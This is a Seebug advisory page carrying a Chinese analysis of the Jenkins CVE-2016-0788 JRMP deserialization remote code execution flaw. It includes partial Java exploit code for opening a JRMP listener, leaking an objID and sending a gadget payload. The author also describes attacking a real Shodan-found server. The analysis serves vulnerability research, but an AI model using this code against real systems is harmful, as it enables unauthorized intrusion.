Lucene search

K
seebugRootSSV:92098
HistoryJul 13, 2016 - 12:00 a.m.

Jenkins JRMP远程代码执行漏洞

2016-07-1300:00:00
Root
www.seebug.org
19

0.034 Low

EPSS

Percentile

90.4%

详情来源:Jenkins RCE 2(CVE-2016-0788)分析及利用 Author:隐形人真忙

0x00 概述

国外的安全研究人员Moritz Bechler在2月份发现了一处Jenkins远程命令执行漏洞,该漏洞无需登录即可利用,也就是CVE-2016-0788。官方公告是这样描述此漏洞的:

> A vulnerability in the Jenkins remoting module allowed unauthenticated remote attackers to open a JRMP listener on the server hosting the Jenkins master process, which allowed arbitrary code execution.

在分析这个漏洞的时候,运用到了Java RPC知识以及反序列化的问题,并且这个漏洞利用的tricks和攻击执行链路都比较有趣,因此发出来漏洞分析分享一下。

0x01 基本知识

Jenkins Remoting的相关API是用于实现分布式环境中master和slave节点或者用于访问CLI的。在访问Jenkins页面时,Remoting端口就会在header中找到:

Remoting端口默认是非认证下即可访问,虽然这个端口是动态的,但是可以从Response的头部信息中获取到。

早在去年11月份,breenmachine发布的博客中提及到了这个CLI端口,并且漏洞的触发也是经过了这个端口的反序列化来触发,jenkins也进行了修复。

然而,CVE-2016-0788利用了一些技巧,通过Jenkins Remoting巧妙地开启JRMP,从JRMP对反序列化进行触发,从而完成exploit。

JRMP是Java RMI中支持的其中一个协议,其中也包含了反序列化的功能,实际上,任何Java RPC涉及到按值传递的问题,基本都会采用序列化对象的方式进行实现。下面来看看这个漏洞具体的内容。

0x02 漏洞原理

这里首先不得不说一下Jenkins是如何防止反序列化命令执行产生的,在Jenkins-remoting中,有一个ClassFilter类,这个类中定义的一些classpath黑名单,这个黑名单目前看起来是这样的。

都是已知的一些比较著名的gadget。在该漏洞被报告时,官方对这个黑名单进行了完善:

https://github.com/jenkinsci/remoting/commit/baa0cef36081711d216532d562e02e2fc425d310

主要针对的RMI相关的类进行了黑名单完善。多插一句,黑名单机制是基于ObjectInputStream扩展出来的一个类ObjectInputStreamEx来实现的:

这里调用了filter对象的check方法,可以去看看相关方法,在hudson.remoting.ClassFilter,文件中的isBlacklisted默认返回false,具体的黑名单机制在RegExpClassFilter中进行实现,子类重写了父类的isBlacklisted方法,增加黑名单校验。

虽然Jenkins的黑名单暂时有效,但是这种机制本身不可靠,因为无法防止潜在的反序列化执行的gadget。

扯远了,我们回到正题。官方针对该漏洞还commit了一个单元测试类,以下的分析都是基于这个单元测试文件中的代码进行说明。

通过分析代码,可以看出Moritz Bechler(漏洞发现者)的思路大致如下:

  1. 首先连接CLI端口进行通讯

  2. 然后通过Jenkins Remoting在服务器端打开一个JRMP Listener

  3. 攻击者客户端连接到这个打开的JRMP端口,通过该端口发送恶意构造的gadget,从而触发漏洞。

  4. 以上的操作不涉及Jenkins认证。

思路有了,但是还需要解决如下问题:

  1. 如何使得服务器端打开JRMP端口

  2. 即使打开JRMP,由于JRMP机制运行在默认的classpath,即使gadget被顺利反序列化,也会因为找不到相关的classpath而无法进行触发

  3. 如何通过JRMP协议来执行反序列化操作。

下面通过代码一一进行说明。

0x03 通过JRMP进行反序列化

首先需要让服务器端打开一个JRMP端口,来接收我们后续的反序列化执行对象。这里通过构造一个远程对象进行实现。

相关代码如下:

//打开JRMP Listener
            //获取一个UnicastRemoteObject,使得服务器端按要求绑定12345的JRMP端口
            Constructor<UnicastRemoteObject> uroC = UnicastRemoteObject.class.getDeclaredConstructor();
            uroC.setAccessible(true);
            ReflectionFactory rf = ReflectionFactory.getReflectionFactory();
            Constructor<?> sc = rf.newConstructorForSerialization(ActivationGroupImpl.class, uroC);
            sc.setAccessible(true);
            UnicastRemoteObject uro = (UnicastRemoteObject) sc.newInstance();   
 
            //设置JRMP端口
            Field portF = UnicastRemoteObject.class.getDeclaredField("port");
            portF.setAccessible(true);
            portF.set(uro, jrmpPort);
           //设置骨架对象           
           Field f = RemoteObject.class.getDeclaredField("ref");
            f.setAccessible(true);
            //监听JRMP端口
            f.set(uro, new UnicastRef2(new LiveRef(new ObjID(2), new TCPEndpoint("localhost", jrmpPort), true)));

这里运用了反射机制创建一个UnicastRemoteObject的远程对象,并通过设置该对象的ref属性来设置这个远程对象的代理对象。

通过Jenkins Remoting,我们可以将这个远程对象连同这个对象的代理对象部署到服务器端,即使得服务器端打开一个JRMP Listener来监听我们制定的端口,后续工作就是向这个端口发送恶意数据来实现exploit。

0x04 修改classLoader

根据上文所述,JRMP使用的是默认的classLoader,是无法识别反序列化gadget对象的,Commons-collection1,etc. 因此,为了反序列化能够顺利执行命令,我们需要修改JRMP的classLoader为jenkins的JarLoader,但是本地无法直接去查找服务器端中的JarLoader。

在远程方法调用时,需要使用objID对远程对象进行标识,这个objID是随机生成的,爆破是不太可能的。这里用了一个非常有趣的trick,即使用一个异常来获取到JarLoader的objID号,然后根据ID在服务器端获取到这个JarLoader。

具体就是调用hudson.remoting.JarLoader中的isPresentOnRemote方法:

代码如下:

//创建一个RPCRequest对象
            //即执行Checksum类中的isPresentOnRemote方法
            Object o = reqCons
                    .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] {
                        uro,
            }); 
 
            try {
                //在服务器端调用JarLoader.isPresentOnRemote(Checksum)
                //会报错出JarLoader的objID
                c.call((Callable<Object,Exception>) o);
            }
            catch ( Exception e ) {
//从异常信息中获取JarLoader的objID

其中传入一个Checksum的对象。由于JarLoader是抽象类,调用抽象方法会报错,报错信息为:

hudson.remoting.RemotingSystemException: failed to invoke public abstract boolean hudson.remoting.JarLoader.isPresentOnRemote(hudson.remoting.Checksum) on hudson.remoting.JarLoaderImpl@14e33708[ActivationGroupImpl[UnicastServerRef [liveRef: [endpoint:[127.0.1.1:12345](local),objID:[-72a49a0d:15381b90378:-7fec, 3478390807499336137]]]]]    

at hudson.remoting.RemoteInvocationHandler$RPCRequest.perform(RemoteInvocationHandler.java:610) 

at hudson.remoting.RemoteInvocationHandler$RPCRequest.call(RemoteInvocationHandler.java:583)    

........

可以看到,这里的报错信息中包含了JarLoader的objID号,通过这个ID可以获取到JarLoader在服务器端的实例。

0x05 发送gadget

JRMP是RMI中支持的协议之一,向JRMP发送一个对象执行也需要遵循一定的协议,通过阅读RMI实现的源码探究一下原理:

首先看一下sun.rmi.*下的TCPChannel类。

1.协议头固定形式

写入传输头部的操作:

只需要写入Magic和Version字段即可。

2.调用远程对象方法

写入传输字段TransportConstants.Call,用来调用远程对象方法,所以具体看看协议的流程是什么。相关代码在sun.rmi.transport.StreamRemoteCall类中。

在StreamRemoteCall中就有关于方法调用的操作。首先写入TransportConstants.Call字段,标明下面的操作。然后写入对象id,方法索引以及桩对象或者骨架对象的hash,因为JAVA RMI实现中,本地程序与远程主机的方法调用与沟通,实际上是由桩对象和骨架对象进行代理,如果明白Java的动态代理机制,会更好理解,这里就不赘述RMI实现原理了,有兴趣的可以自行搜索相关资料。

相关exploit代码如下:

//写入objID
objOut.writeLong(obj);
objOut.writeInt(o1);
objOut.writeLong(o2);
objOut.writeShort(o3);  
 
//调用方法索引
objOut.writeInt(-1);
 
//stub对象的hash         objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
 
//发送反序列化payload
final Object object = payload.getObject(payloadArg);
objOut.writeObject(object);

以上代码的作用就是与JRMP按照协议进行通讯,将反序列化对象发送至服务器端执行的过程。有兴趣的可以结合RMI实现源码进行阅读。

0x06 攻击exploit

根据测试代码,我们不难写出攻击的exploit。从shodan上搜一台Jenkins机器,该机器不存在去年那个粗暴的Jenkins反序列化命令执行漏洞。

我们结合cloudeye,执行wget命令验证。

效果如下:

同时,可以在cloudeye上看到结果:

参考链接